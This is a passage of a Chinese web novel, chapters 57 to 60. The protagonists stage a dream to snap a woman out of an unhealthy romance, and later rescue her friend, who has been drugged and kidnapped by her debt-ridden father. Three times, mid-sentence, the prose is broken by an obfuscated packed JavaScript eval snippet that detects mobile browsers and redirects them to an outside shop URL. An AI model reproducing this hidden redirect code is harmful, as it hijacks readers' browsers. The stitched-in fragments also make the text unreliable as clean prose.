“停!我演。”春渐满终于还是倒在了独孤尽的攻势下,他垂下眸,遮住里面复杂的情绪。 那是早樱盛放的时节,春意正浓,樱花大道下有不少情侣都铺了野餐垫在甜蜜约会,周娴芸本也是其中一员,可她不知道怎么了,觉得自己脑袋有点空白,没有对象约会,而是站在树后盯着其中一对情侣。 那对情侣就是正在演戏的独孤尽和春渐满,春渐满第一次扮演渣男,颇有些不自在,但独孤尽却像是戏瘾犯了,他一边抱着春渐满的胳膊,一边把甜品往春渐满嘴边送。 周娴芸觉得自己是女孩的朋友,而旁边那位女孩的男朋友是个渣男,她劝两人分手劝了无数次,这两人还是如胶似漆,腻腻歪歪,她就没再管了,但她刚刚突然想起来,前几天她去别的学校参加学习交流会,碰到了那个渣男和别的女生亲来亲去。 思及此处,周娴芸大步向前,走到了独孤尽面前,对着他一阵输出,“快和这个渣男分手,他一直在骗你,前几天我还看到他亲别的女孩了。” 春渐满很快入戏,他厚颜无耻地莞尔一笑,“我没有骗小尽,小尽都知道的,我一早跟她说过,我不可能只喜欢她一个人。” 57. 三观碎裂的恋爱脑 “你知道还跟他在一起?!”周娴芸完全不理解自己的朋友怎么能做这种事,是她看错人了吗?可平时相处的时候,三观也都挺正的,怎么碰到恋爱的事就变成这样了。 “我太喜欢他了,他虽然和别的女孩也有交往,但是他最喜欢的还是我。”独孤尽尽量让自己看起来够恋爱脑,他眼里全是晶亮的爱心,眨巴眨巴看着春渐满的时候特别少女。 周娴芸作为一个旁观者浑身鸡皮疙瘩都起来了,她拍了独孤尽一下,“你懂不懂你这样会吃亏的,他就是在骗你,纯纯钓鱼。” 说完又看向春渐满,“你算什么男人,脚踏这么多条船很爽吗?没有一点责任心。” “我可从来没和哪个女孩子在一起,怎么能算脚踏多条船?有些话可以说有些话可不能胡说。”春渐满表现得毫不在意,并且开始了诡辩。 “对啊,他这么好,有很多女孩子喜欢也正常,这不正说明我喜欢的男人优秀吗?”独孤尽继续扮演傻乎乎的形象,不过春春官确实优秀,长得帅能力强,可惜到现在也没个对象。 “优秀?我劝你不要侮辱优秀这个词,但凡是个有责任心的男人,就不会不喜欢你还吊着你。”周娴芸不知道为什么气上心头,还想起了别的什么,“他是不是还管你要钱了?就是个骗子,我要报警抓他。” “你要干什么呀,怎么能报警?!他又没做什么坏事,都是我心甘情愿的,我乐意给他钱关你什么事啊。”独孤尽说出这句话之后,周娴芸真的被伤到了。 她一心为姐妹着想,却没想到到头来还要被姐妹这样说,人自甘堕落起来真可怕啊。 “你有没有想过,他根本不喜欢你!”周娴芸声嘶力竭,像是花尽了自己全身的力气。 “你为什么要戳破这点,我也知道他可能不喜欢我,只是利用我,可我也没办法,我还是好喜欢他,我只要一想到以后没法再跟他见面,没法再跟他聊天,我就难受,难受得快死掉了。”独孤尽越说越难过,眼里竟然还蓄满了泪水。 “快刀斩乱麻听说过吗?你如果一直这样下去,拖个十年八年,会更痛苦!”周娴芸咬牙切齿,她不希望自己的朋友把青春都浪费在人渣身上。 “那我也心甘情愿,难道我跟他在一起要一辈子吗?我能够拥有他这么多年已经很好了,很知足了,倒不如说,我很开心,希望真的可以在一起十年八年,那样,往后的人生我也可以通过回忆撑过去了。”独孤尽说完这些话,连春渐满都想揍人了。 “你没了这个男人就会去死吗?!你懂不懂爱人先爱己?!”周娴芸恨铁不成钢,她嘴都快说得磨出泡了,朋友还是半句听不进去。 “我会死的,我没了他会死的,我一天见不到他就想的不行了,如果没有他,我真的会死的。”独孤尽继续深情款款凝望着春渐满,春渐满实在遭受不住,他眼神闪躲,最后还是移开了。 而这一幕恰巧被周娴芸捕捉到了,她气恼地指着春渐满,“你看清楚!他都避开眼神了!这是爱你的样子吗?!他根本只喜欢他自己。” “你也说了爱人先爱己啊,他更爱他自己也没有什么错嘛。”独孤尽越说越来劲,他蹙起眉头看着周娴芸,“你是不是嫉妒我啊?我懂了,你也喜欢他,要跟我抢人是不是?” “我说你怎么要趁我们气氛这么好的时候来打扰我们,原来你心思不纯,我是不可能把他让给你的,你就死了这条心吧!”独孤尽甚至用恶意去揣测周娴芸。 “我再管你我就不姓周!” 周娴芸负气走了,独孤尽和春渐满两人才松了一口气,两人对视一眼,突然笑起来。 “哈哈哈哈,小弟,你这个表演太浮夸了,也亏周娴芸信了。” “你倒是不浮夸,就是演得太让人难以接受了,恋爱脑真会这样?”春渐满想到刚才独孤尽说的话,每一句都让人觉得三观被挑战了。 “还有更过分的,总要留点到后面,休息一下,我们切场景。” “不得不说,这樱花大道是真美啊。” “但人也是真多。”春渐满看了一眼树下围坐的人。 “虽然是精神世界,但总要逼真点,现实里就是如此,这么美的景色想来观赏的人当然多了。” 周娴芸只觉得自己不知道怎么就回家了,又多了多少天她也没什么印象,只是某天,突然接到了自己好友的电话,“小芸,能陪我去趟医院吗?” “你怎么了?是不是被你那个渣男打了?” “没有没有,我家亲爱的怎么可能打我,你来就知道了,我们在医院门口见好不好?”独孤尽尽量让自己的声音听起来又惊喜又有点不安。 春渐满在一旁给他竖起了大拇指,独孤尽现在的演技可能九尾狐来了也不会再挑刺了。 周娴芸原本想拒绝,但实在不放心自己的朋友,还是到了医院门口。 独孤尽已经在医院门口等她,并且脸上还有一分娇羞。 周娴芸被朋友看得莫名其妙,“你怎么了?为什么来医院?” “我……我想去做个b超,我这个月……一直没来,可能有孩子了。”话刚说完,周娴芸就睁大了眼睛,瞬间被气得血压飙升。 “你跟他睡了?!” “跟你说了他就是个渣男,你不信不信,现在好了,孩子都出来了,你可怎么办啊,打胎可是很伤身体的!”周娴芸血压直飙,语速也直飙。 “打胎是伤身,可是谁说我要打胎啊,我要把宝宝生下来,这可是我们的爱情结晶,我要好好呵护着宝宝长大。”独孤尽一脸慈爱地把手放在自己腹部。 “他呢?知道这件事了吗?” “哎,你可别告诉他,这件事我就告诉了你一个人,因为你是我最好的朋友,你可别和别人说,我是一定要把宝宝生下来的。” “孩子的父亲有知情权,这不是你一个人的孩子。”周娴芸声音有些强硬,她坚决不同意自己的朋友给渣男生孩子。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688954|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那我把孩子生下来,肯定会跟他讲的呀。”独孤尽充满防备地看着周娴芸,“我跟你说,这孩子是我的命,孩子没了我也不活了。” “你之前还说你男朋友是你的命呢,现在换了?”周娴芸强迫自己冷静下来,她经历了太多次的失望,每次劝说最后都会变成她一个人的独角戏。 而且还是不那么讨人喜欢的独角戏。 “我的宝宝和我老公都是我的命。”独孤尽故意说得声音很轻,一副不想把幻想出来的美好泡泡戳破的样子。 “你父母也不可能同意这件事的。” “所以我也没告诉他们,小芸你来照顾我好不好?你是我最好的朋友了。”独孤尽还能说出请求,脸皮厚得比城墙还厚。 春渐满躲在暗处啧啧称奇,如果独孤尽是按照周娴芸原本的样子演的,那周娴芸之后醒来,也不知道能不能清醒。 毕竟,恋爱脑到这种程度,谁也说不好。 周娴芸只觉得眼前的画面一晃,很快就到了好朋友坐月子的日子。 春渐满看着独孤尽有点犯愁,“娃呢?娃怎么办?” “当然是让你来演了!虽然你一个人分饰两角很辛苦,但现在情况特殊,也没有其他更好的办法,你就将就一下吧!”独孤尽戳戳春渐满的脸颊,指尖轻弹了一记,春渐满立刻就变成了还在襁褓中的婴儿。 “小芸,我告诉他了,可是他不愿意承认这个孩子,也不会跟我一起抚养孩子。”独孤尽坐在病床上,身边有一个小摇篮,里面是为了避免尴尬装睡的春渐满宝宝。 周娴芸看出朋友的情绪不对,也不忍心在这个时候打击她,生怕她产后想不开,连忙凑过去一边看孩子一边跟她聊天些跟孩子有关的有趣话题。 “我不想听这些,我想见他……我现在生完孩子变丑了,他会不会不喜欢我了。” 再度听到自己好朋友说出这些三观碎裂的话,周娴芸忍无可忍了,狠狠拍了好友脑袋一记,“你这个恋爱脑给我醒醒!你不是说你只要有孩子就好了吗?!” “我……我没说过有孩子就好了啊,我只是,只是觉得有了孩子,会和他的交集变多……” “他的死活跟你到底有什么关系,你非得这么关注他?!”周娴芸说完这句话,独孤尽就从病床上跳了下来,抱着孩子就走到窗边,直接跳了下去。 一切发生得太突然,周娴芸根本没来及拉住人。 没让周娴芸有太多伤心的时间,独孤尽立马把时间又往后跳了一整段。 女人跳楼死了,而孩子因为被她抱在怀里,有了免费的肉垫,侥幸活了下来,可浑身还是有多处粉碎性骨折。 春渐满扮演的那个渣男再也没有出现,这个孩子变成了周娴芸在养。 周娴芸不清楚自己怎么就接手了这个孩子,但每天的医药费都在透支她,只是……她好像越来越觉得不真实了,为什么她很多记忆都是模糊不清的。 周娴芸开始怀疑了…… 58. 犒劳一顿海底捞 独孤尽挑准了时机,让周娴芸苏醒过来。 在自己精神世界里大梦一场的周娴芸觉得脑袋生疼,她像是睡了很久又像是才睡着一会儿。 摇摇晃晃起身倒了杯水喝了几口才逐渐回忆起自己梦到了什么。 那个在梦里把自己气的半死的恋爱脑好友根本不是别人,就是她自己。 而她目前还没有发展到梦里那些程度,还只是在单纯迷恋着渣男,想要全新全新为渣男奉献,并且,她还不听自己好友的劝解。 周娴芸照了照镜子,看着自己还不错的外貌,轻轻拍了自己两巴掌,“我到底在想什么,怎么会被那种渣男迷住,想不通想不通,下头了。” “买点儿花去找星星吃顿饭,要跟她好好道个歉。”她必须安抚一下一心为她好的朋友。 把心思花在渣男身上还不如把心思花在真心对自己好的朋友身上,再不行,还能对自己好一点。 周娴芸先是把原本打算给渣男花的那笔恋爱资金取了一部分出来重新做了个发型,又买了鲜花和水果去找了闺蜜,一起去吃了顿海底捞。 “小芸芸你居然真的清醒了!不愧我每天都虔诚地祈祷啊。”冯星星激动地抱紧了自己的闺蜜。 “你还为了我每天祈祷?”周娴芸感动极了,臭男人算什么,姐妹才是真道理啊。 “对啊,你知不知道那个‘怪奇诊所’?我找他们很久了,不过他们一般接的都是比较严重的情况,我就只能每次都许愿祈祷,没想到你真的清醒过来了!” “‘怪奇诊所’是什么?我怎么不知道这个医院?”周娴芸困惑地凑过去看闺蜜的手机,冯星星立马把“怪奇诊所”相关推送给了她。 “你看看,他们除了生理上的病症,其他都能治,你这种恋爱脑也在他们的救治犯愁,不过我是想不通他们怎么治你的,你快跟我说说怎么清醒过来的?”冯星星眨着一双星星眼,充满八卦地看着周娴芸。 “说不定是我自己意识到清醒了呢?”周娴芸扁扁嘴,她真有那么傻吗? “不可能!绝对不可能!你之前那个状态,十头牛都拉不回来好不好!你自己不知道吗?我说什么,你都有借口为那个渣男开脱,我都怀疑那个男的给你下降头了!” “我……就是做了个很长很长的梦,但是我其实就只是睡了一晚上啊,没有昏迷。” 周娴芸开始回忆…… “梦里我是旁观者的角度,有个巨傻的女孩子是我的朋友,我说什么都没用,劝不回来,最后女孩跟渣男有了个孩子,她……抱着孩子跳楼死了,孩子没死但是浑身多处骨折,那个男的到最后都没出场。” “孩子还得我养着,花了好多好多钱治疗……” “哇!怪不得你清醒了,梦里那个恋爱脑都死了。”冯星星拍拍周娴芸的手,“不过能让现实里的你清醒也很好了,不愧是‘怪奇诊所’啊,手段就是毒辣。” “确实够狠的,也不是各个恋爱脑都会自杀吧,真的到那种情况,总会醒悟的。”周娴芸心有余悸,她现在还记得那种好友在自己面前抱着孩子跳下去的冲击感,觉得自己都需要去看心理医生疏导一下了。 不过也正是因此,她才能在醒来之后立刻斩断了自己的烂桃花。 “不过我听说……‘怪奇诊所’只会接手严重的,这是不是说明,你的恋爱脑很严重,很有可能发展成你梦里的那种情况。”冯星星合理猜测,并且越想越觉得自己猜的对。 “那我真要给他们送一面锦旗,不过这个锦旗送到哪里去?”周娴芸记得刚刚看到的科普,大家可都不知道“怪奇诊所”具体的位置。 “送到网上去吧,也算个心意。”冯星星想了想提议,“不如做个电子的锦旗。” “顺便,把你的故事去网上讲一讲,也可以让其他恋爱脑的姐妹清醒清醒。” “会不会被很多人骂啊?我很怕被人开盒。”周娴芸还有点防范意识,她之前恋爱脑的时候真的很欠揍。 “放心,如果有人敢对你开盒,‘怪奇诊所’不会放过他们的。”冯星星现在对“怪奇诊所”的崇拜那可是滔滔不绝。 “真有你说得那么邪乎?说不定这个梦就是我自己做的呢?”周娴芸还是有那么点儿半信半疑。 “你记不记得先前那个远星疗养院案子,那段时间‘怪奇诊所’很少露面,我们合理怀疑这个案子也是他们协助破的。”冯星星把一些“怪奇诊所”相关的八卦翻出来依次发给闺蜜。 “那这么说来,‘怪奇诊所’虽然名字怪,但性质挺好的,为民除害。” “可不是嘛,但他们这么一来,阻挠了很多利益团体,动了很多人的蛋糕,我听说已经有好多人都想找到他们,给他们添麻烦了。”冯星星继续翻找八卦,“也不知道他们能抵抗多久,能不能一直帮大家维护正义。” 独孤尽和春渐满正在两人附近的那桌吃着海底捞,他们一边听一边吃得香,尤其是独孤尽,已经吃得满嘴流油。 “这家店味道真不错。”独孤尽又煮好了一份虾球,捞起来放进了料汁滚好才夹到春渐满碗里。 “多吃点,一人分饰两角辛苦了,我们的春大明星。”独孤尽嘴角都快咧到耳后了,他这个扮演恋爱脑少女的反而是演得最爽的。 反正说出来的那些毁三观的话都是别人在听,破防的也是别人,丝毫影响不到他自己。 “你能不能把对我的称呼统一一下?”春渐满有点受不了独孤尽的调侃,现在甚至从春警官变成春大明星了。 “那叫你什么?宝贝?亲爱的?”独孤尽继续逗着春渐满,他觉得春渐满一本正经的样子实在太有趣了。 “闭嘴。”春渐满选择不听独孤尽说瞎话,否则他真的要被独孤尽给气得吃不下饭。 “你看,你都不乐意一直叫我主人,那我也只能随自己心情,想叫你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688955|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么就叫你什么喽。”独孤尽恶人先告状,他无辜地摊摊手。 “还贫嘴,吃饭都堵不上。”春渐满拿起手机,看了一下师傅给他发的各种文件,里面有好几个需要他上交报告。 “既然她们已经彻底没事了,我就不陪你吃饭了。”春渐满主要的心思是来看看女孩有没有在“怪奇诊所”恢复正常,现在看来,人家已经清醒了,他自然也就没什么好看的了。 “天大地大,把饭吃了最大。”独孤尽又一次把菜捞到春渐满碗里,“不吃完可就太浪费了,无论是植物还是动物都会很伤心的。” “你是不是想说,它们也不会说话,谁说它们会伤心了?”独孤尽在春渐满的沉默之下自问自答。 “其实,它们都会说话的,你看这颗虾球,它就在噗噜噗噜说话。”独孤尽把那颗在汤底中不断翻腾的虾球捞起来给春渐满看。 “它们很想被人好好吃掉,不然就白来这个世界一次了。”独孤尽说得好像真有那么回事似的,“毕竟它们也没办法变回之前活蹦乱跳的虾了,没法回到过去。” “别说了,我吃。”春渐满明知道独孤尽在说胡话,可还是乖乖坐下,继续用餐。 这顿饭吃得独孤尽很开心,一直说个不停,而春渐满也不算吃得太糟心,他很少能如此安心,不受其他烦恼地干饭。 “独孤尽,我了解你想当咸鱼的心情了。”猝不及防的,春渐满说了这么一句。 “春警官,你可算理解我了,我还以为一辈子你都没法理解了,快,快跟我说说,你是怎么突然认同的?” “如果咸鱼能话少一点就更好了。”春渐满就差指名道姓让独孤尽安静用餐了。 “我其实本来话也不多的,只是有人陪我吃饭,毕竟开心,话就多了点,而且我们光哐哐炫饭,多少有点儿尴尬是不是,你看人家小闺蜜吃饭多和谐啊。” “和谐到一直在说想剁了渣男?”春渐满提醒独孤尽,“你看着点,自己搞出来的事别忘了收尾。” “知道,绝不会让她从受罪者变成加害者。”独孤尽信誓旦旦保证,不然他跟春渐满那一场费心费神的演绎就没有用了。 “星星,你觉不觉得背后寒嗖嗖的?”周娴芸有种被人盯上的感觉。 “可能还有很多人不知道你已经从恋爱脑的状态里出来了,在茶余饭后讨论你那些骚操作吧?”冯星星用纸巾擦擦嘴,“你都不知道那些人有多爱看八卦,尤其爱看美女爱上渣男的八卦。” “我可只跟你说过我和他的事情……” “啊,我突然想起来还有点事,先回去了,今天这顿谢谢了啊。”冯星星捂住嘴,眼睛滴溜转了一圈,立马拿起挎包嗖嗖往外遛。 可就在她路过独孤尽的时候,独孤尽感到一阵头晕目眩,这个感觉太熟悉,上一次他被画强行拉走看预示的时候也是如此。 不会这个女生的闺蜜也有血光之灾吧! 59. 废弃的农场 冯星星作为一名坚决反对恋爱脑的女生,她自己是不谈恋爱的,可能是从小受到家庭环境的影响,她对男性一向没有好印象。 毕竟她的妈妈就是因为爸爸赌博才被迫离婚,带着她过上了艰辛的生活。 法律上规定,父亲是有义务和责任要给抚养费的,甚至可以要求强制执行,可奈何她爸是个十足十的赌徒,根本不讲半点道理,也没有半点人性。 别说强制执行给钱了,他自己已经反反复复因为赌博被抓进去了,要钱反正是没有的,要不然就是只会问他们借本金,说来说去都是要再赌,赌了就有钱拿出来。 但他自己也不是赌神,也没有运气,更没有背景,怎么可能在赌桌上有好结果呢。 冯星星从小就知道她爸那就是个烂泥,她就没爸,如果真要说的话,她宁愿喊她妈爸,毕竟就扛责任这点,她妈妈可太有气概了。 所以碰上这么个垃圾,她们唯一的办法就是舍弃那些抚养费,尽可能要有多远就躲多远,只要别被那个垃圾缠上就好了。 也就是这样安安稳稳念到了大学,冯星星从未在感情上让她妈妈操心。 可正是她对男生的嫉恶如仇,让她总是跟好朋友分道扬镳。 不过,这次周娴芸居然清醒过来,跟她重归于好,这是她没想到的。 冯星星正沉浸在好友失而复得的喜悦中,就被人撞了一下,有什么东西直接扎进了她胳膊里。 啊—— 她的尖叫被吞没在喉咙中,根本没能叫出来,意识开始不属于自己,她觉得大脑混沌,身体不受自己控制,朝着不知名的方向而去。 我怎么了? 我不要走,我要去找警察。 我碰到坏人了。 救命! 救命啊! 怎么没有人发现我的异常?! 独孤尽因为不放心转身跟出去,却还是没能阻止冯星星被人注射了不明药物。 “光天化日,怎么敢的!”春渐满怒极,他看了一眼周围的监控,这么多电子眼,这人难道不怕被发现吗? “稍安勿躁,看看他们要干什么。”独孤尽竖起食指放在唇上,做了个噤声的手势。 他倒要看看,这些人背后是谁,敢无视电子眼。 女孩被当街绑走不是一件罕见的事,但这么明目张胆地绑,就有点罕见了。 冯星星心如死灰眼睁睁看着自己迈开双腿,上了一辆面包车,车很颠簸,一路上开得她头晕目眩,想吐。 “注意点,别让她看清路了。”车上有人厉声提醒。 “放心,这玩意儿下去,她就算能看见路,清醒过来也会什么都不记得。”另一个声音听起来极其嚣张。 “总有万一,小心一点为上。” “好,您说了算,我找个布条给她蒙上。” 之后冯星星就陷入了黑暗中,眼前并非完全看不见,有那么点儿光亮,但至于去了哪里,她就毫无头绪了。 她只能在心里默念数字,计算车开了多久,她可能在的范围。 这样也能保持一定地警惕心,总不能真在车上睡过去,她可不想自己在完全无意识的情况下被人怎么样。 她不怕自己受伤,就怕不知道自己是怎么受的伤,毕竟,她可是要复仇的! 独孤尽感受到一股强烈的能量,他踩下刹车,缓了缓,“前面不对,有修者!” “是一股足以跟画抗衡的能量,我从未在其他地方感受过这种能量!” 独孤尽见春渐满瞬间紧张起来,安抚地拍拍他肩膀,“别怕,船到桥头自然直。” “危险总要来,早来晚来都是一样的。”独孤尽尽量深呼吸,“他们停车了,我们走下去,首先保证自己的安全,不要忘了随时都可以回画里。” “至于其他的,会不会被人发现,会不会让人惊异都不重要,保命最重要知道吗?”独孤尽又叮嘱了一句,他就怕春渐满死脑筋,让自己处于险境之中。 “放心,你也一样,如果真的碰上对付不了的,不要恋战。” 那是一个废弃的农场,里面甚至还有几只散养的鸡,靠吃地上的虫苟活了下来。 冯星星闻到了浓烈的泥土气息,还有难闻的鸡粪味道。 她觉得自己好像可以说话了,也能操控自己的身体了,但她不想打草惊蛇,仍旧维持着先前顺从的状态,反正现在她的双眼是被蒙住的,有人推着她后背提溜着她往前走。 按照她之前在车上数的数,她大约坐了两个小时的车,弯弯绕绕到了这个像乡下的地方,就是不知道中途这帮人有没有绕路。 要是没绕路,她大概还能猜到自己在哪块地方,毕竟路程两小时,又是乡下的地方可不多。 冯星星心里大概有底了,这明显是她那个垃圾爹的老家,她小的时候跟着来过,印象深刻,这股泥土里混杂着鸡粪的味道她绝对不会忘。 “时隔这么多年,那个垃圾为什么又找上了她?”冯星星百思不得其解,唯一能想到的就是她这个垃圾爹又欠了赌债,要么是债主找上了她,要么就是她那个垃圾爹找上了她。 反正,不管是哪一种,她都要遭殃。 冯星星心里极其忐忑不安,但她面上的表情还是僵硬的,生怕被人察觉出异常。 如果这个时候“怪奇诊所”能帮她就好了,“怪奇诊所”出手,她就还有机会生还。 冯星星又开始在心里虔诚地祷告,她不敢开口说话,但谁也管不了她在心里说什么。 独孤尽能感觉到有一股陌生的能量朝自己这边涌动,有一些已经从他指尖进入了身体,这种感觉很神妙,就像是被什么滋养了一样。 他能明显发现自己的头脑比之前更加清明。 “绕到后面去。”独孤尽提醒春渐满。 两个人静悄悄地摸到了这个废弃农场的背面,这边没人值守,比较好攻入。 “人带来了,她从来没谈过恋爱,也没跟别人乱搞过,还是个雏儿,绝对能卖个好价钱,您看看,她长得也不错,我就只有她能抵债了,您饶了我吧!” 冯星星听到了令她发指的话,那个声音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16688956|188864||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很熟悉,像是从尘封的老旧盒子里挖出来的,是她最不想回忆的童年。 果然是那个垃圾爹,她猜得没错! 她实在难以想象会有这样的父亲,一分抚养费都没出,等女儿长大了,竟然还要用她去抵自己的债。 而且就算把她卖去当苦力也好啊,她这个便宜爹倒好,直接让她出卖□□,跟他一样去做违法的事。 冯星星一想到自己这么多年洁身自好,即将毁于她最讨厌的男性身上,就一阵恶心。 她的胃部抽痛,脸色瞬间白了。 即便再想忍耐,也被人发现了端倪。 “靠!这妞醒了!快给她再打一剂!” “这么短的时间内再打一剂,人就废了,还没卖给大人物呢。” “你们给她打的什么?不是迷药吗?”冯星星恍惚间听到她那个便宜爹的声音。 “迷药?哪里有功效这么好的迷药,我们给她注射的东西可贵着呢,那么一丁点儿,就足以让她……嘿嘿……” 冯星星越听越觉得不对劲,她恐怕是被注射了违法的东西。 一瞬间,这辈子完了的念头涌了上来。 她想不明白,她就没做过伤天害理的事,怎么就摊上这么个爹。 “把布摘了,看看她什么表情,嘿嘿。”有人似乎还有其他的变态嗜好。 冯星星闭上了眼睛,即便眼睛上的布被拿了下来,她也没睁开眼睛。 她可不想看到什么不该看的,不然即便有机会活下来,那些人也会追她到天涯海角,不会放过她。 “哟!你这闺女还挺聪明的啊,知道不该看的不看。” “比你聪明,你要聪明点,那赌桌上的筹码不都归你。” “我看她好好调教一下,成就得比你小子高。” 冯星星难受得喉头涌起一股腥甜。 她快撑不住了。 独孤尽和春渐满已经绕到了鸡圈后面的一个土堆,春渐满把里面人说的话全都录了下来。 “不能让他们再伤害冯星星,瞅准机会就动手。”春渐满不可能放任罪犯在自己面前动手。 “等等,这里还不是大头目,我有个办法,等等我去把冯星星换出来,我来扮演她。”独孤尽按住春渐满,不让他轻举妄动。 “你扮演女生扮上瘾了是吗?你也不看看他们的性质有多恶劣,要去也是我去,哪能让你去。”春渐满眉头紧蹙。 只有顶级的卧底,才能冒着生命危险去干这种事,独孤尽这样一个从未经过专业训练的人,太容易露馅了。 而且……独孤尽的演技又不好…… “你去你能召唤神兽帮你吗?”独孤尽反问他,他虽然是个普通人,没经过训练,但他起码有保命的手段,而且有神兽帮忙,胜算要大一些。 “神兽现在也叫我一声春老师。”春渐满实在不想让独孤尽独自去面对危险。 “那你现在召唤看看。”独孤尽压根不信有神兽能越过他去回应春渐满。 但他料错了,还真有神兽现在听春渐满的。 60. 卧底潜入 春渐满不光召唤出了神兽,还召唤出了很多神兽,几乎要不是蛊雕它们制止了太多神兽往外跑,想要出来的还有很多。 独孤尽目瞪口呆看着没经他同意就凭空出现在人类世界的神兽们,深觉背叛,虽然春渐满确实是它们的老师,但它们这可比人类的小崽子还要听老师的话啊。 神兽们骤然出现,根本没想过要隐身,直挺挺暴露在敌人的眼中。 冯星星觉得自己脖颈上一重,这次是真的失去意识了。 “靠!这都是什么怪物?!我不会眼花了吧?!”罪犯揉了揉眼睛,还不忘敲晕冯星星,以防到手的猎物出什么意外。 毕竟,干他们这行,最忌讳轻敌。 “先给我隐身!”独孤尽怒呵了一声,不过这下,他自己也暴露了。 独孤尽没再遮遮掩掩,他轻轻一抬手,周围就充满了气泡,现在这一片都是“怪奇诊所”的区域了。 “欠了多少钱,我可以帮忙还。”独孤尽非常豪气地大手一挥。 “真的?!欠了三百万,球球大哥帮我还了吧!”冯星星的渣爹直接跪拜下来,冲着独孤尽猛磕头。 独孤尽在那等他磕了三个头之后,才一脚踹倒他,“你看清楚,谁是你大哥!” 他虽然成年许久,但再怎么看也要比这个四五十岁的男人要小一辈吧! “哦!我懂,我懂,爷爷,爷爷,球球你救救孙子吧!”渣爹的下限实在是惊到了独孤尽,他从未想过还有人能如此厚颜无耻。 不过这种连女儿都能卖的人,确实也不会有什么里子面子。 “闭嘴!再多说一句,我就不帮你还了。”独孤尽觉得耳朵受到了极其强烈的污染,回去可能要好好洗洗了。 得多听春渐满喊几句主人才能恢复。 “你小子,当我们哥几个不存在呢?在这装什么,他刚刚是欠三百万,用他的女儿抵刚好,可那三百万是刚刚的价格,现在可不止这个价了。”罪犯像是逮到了冤大头,他竖起手指冲独孤尽晃了晃。 独孤尽朝神兽们使了个眼色,神兽立马挡在他和春渐满前面。 “靠!这些到底是什么东西?!全息投影吗?别弄这些花里胡哨的东西,没用!我告诉你没用!”罪犯突然灵机一动,想到了合理的解释。 “你小子给不给钱?!” “给钱还能留你们俩一命,不给,就别怪老子不客气了!” “给啊,我从一开始就说给。”独孤尽满不在乎仰着脑袋,一副高傲自大的样子。 “一千万,你小子出一千万,就放你们走。” “哦,放我们走,那个女孩也给我们?”独孤尽可没放过罪犯故意给他下的陷阱。 “你小子,挺有脑子啊,当然,女孩也给你们。”罪犯难得欣赏地看着独孤尽,“今天倒是奇了,碰着俩好苗子。” “金额太大,转账可能会被银行调查,我给你开个支票吧。”独孤尽刚想从口袋里拿纸,就被罪犯用枪指住了。 “别耍花招。” 独孤尽正在那写着,春渐满突然看了罪犯一眼,“你们真不觉得自己做错了?” “放@?……的屁!老子做事还用你教?!” “哎呀,消消气消消气,这支票写好了,人给我吧。”独孤尽像个没事人一样被枪指着也把支票写好了,他坦坦荡荡伸出手。 罪犯生怕有变数,“你把支票放到鸡笼子上。” “好咧。”独孤尽应声,把支票放过去,他抬头看了一眼昏迷过去倒在地上的女孩。 如果他当时跟紧一点,动作快一点,冯星星就不可能中招,也不知道那被注射下去的不明东西好不好治。 晚点让耳鼠看看吧。 “人给你了,快把你的这个吓唬人的全息投影关了吧。” 罪犯直接把冯星星从地上拽起来,丢到了独孤尽那边。 独孤尽和春渐满接住女孩,缓步朝外走。 春渐满轻声唤着女孩,可女孩半点意识都没恢复,整个人像水泥一样,重得很。 “直接带她去画里吧。”独孤尽提醒春渐满,接下来的事情交给他就好。 “你要干什么?”春渐满警惕地看着独孤尽,总觉得他还要作妖。 “钱都给他们了,我去卧个底还难吗?”独孤尽冲春渐满眨眨眼。 “你还要去卧底?!不能按照之前的办法,直接让他们都在‘怪奇诊所’进行治疗吗?”春渐满不可置信地看着独孤尽,这人什么时候觉悟这么高了,先前做点什么都要推三阻四的,这次画也没压迫他,怎么还自己上进了。 “这件事不简单,我不能老等着画伤害完我,我再被动地去解决事情,偶尔也要上进一下。”独孤尽摸摸自己的脑门,他才不会说,他实在是怕疼。 如果被画来进冯星星的世界,说不定他还要经历一下良家女子被迫出卖身体的痛苦,他可不想感受。 “算了,路是你自己选的,回来了不准哭。”春渐满叹了口气,放弃劝说独孤尽,绕到墙角的时候,直接带了冯星星回画里。 独孤尽看着留下来还没开始发挥作用的神兽们,冲它们眨眨眼,“跟你们说过多少次,不要以真身的样子出现在人类面前。” “上次出来团建的时候,有你们的春老师整体盯着还做得不错,这回召唤了你们一下,就直接出来了?” “那是不是你们在洗澡,被召唤就可以连裤衩也不穿直接出来了?” 有神兽小声嘀咕,“我们有毛,本来就不用穿人类的衣服。” “都记罚一次,等会儿看你们的表现,谁能立功赎罪!”独孤尽压低声音,他想怒呵都不敢高声,生怕被罪犯听见。 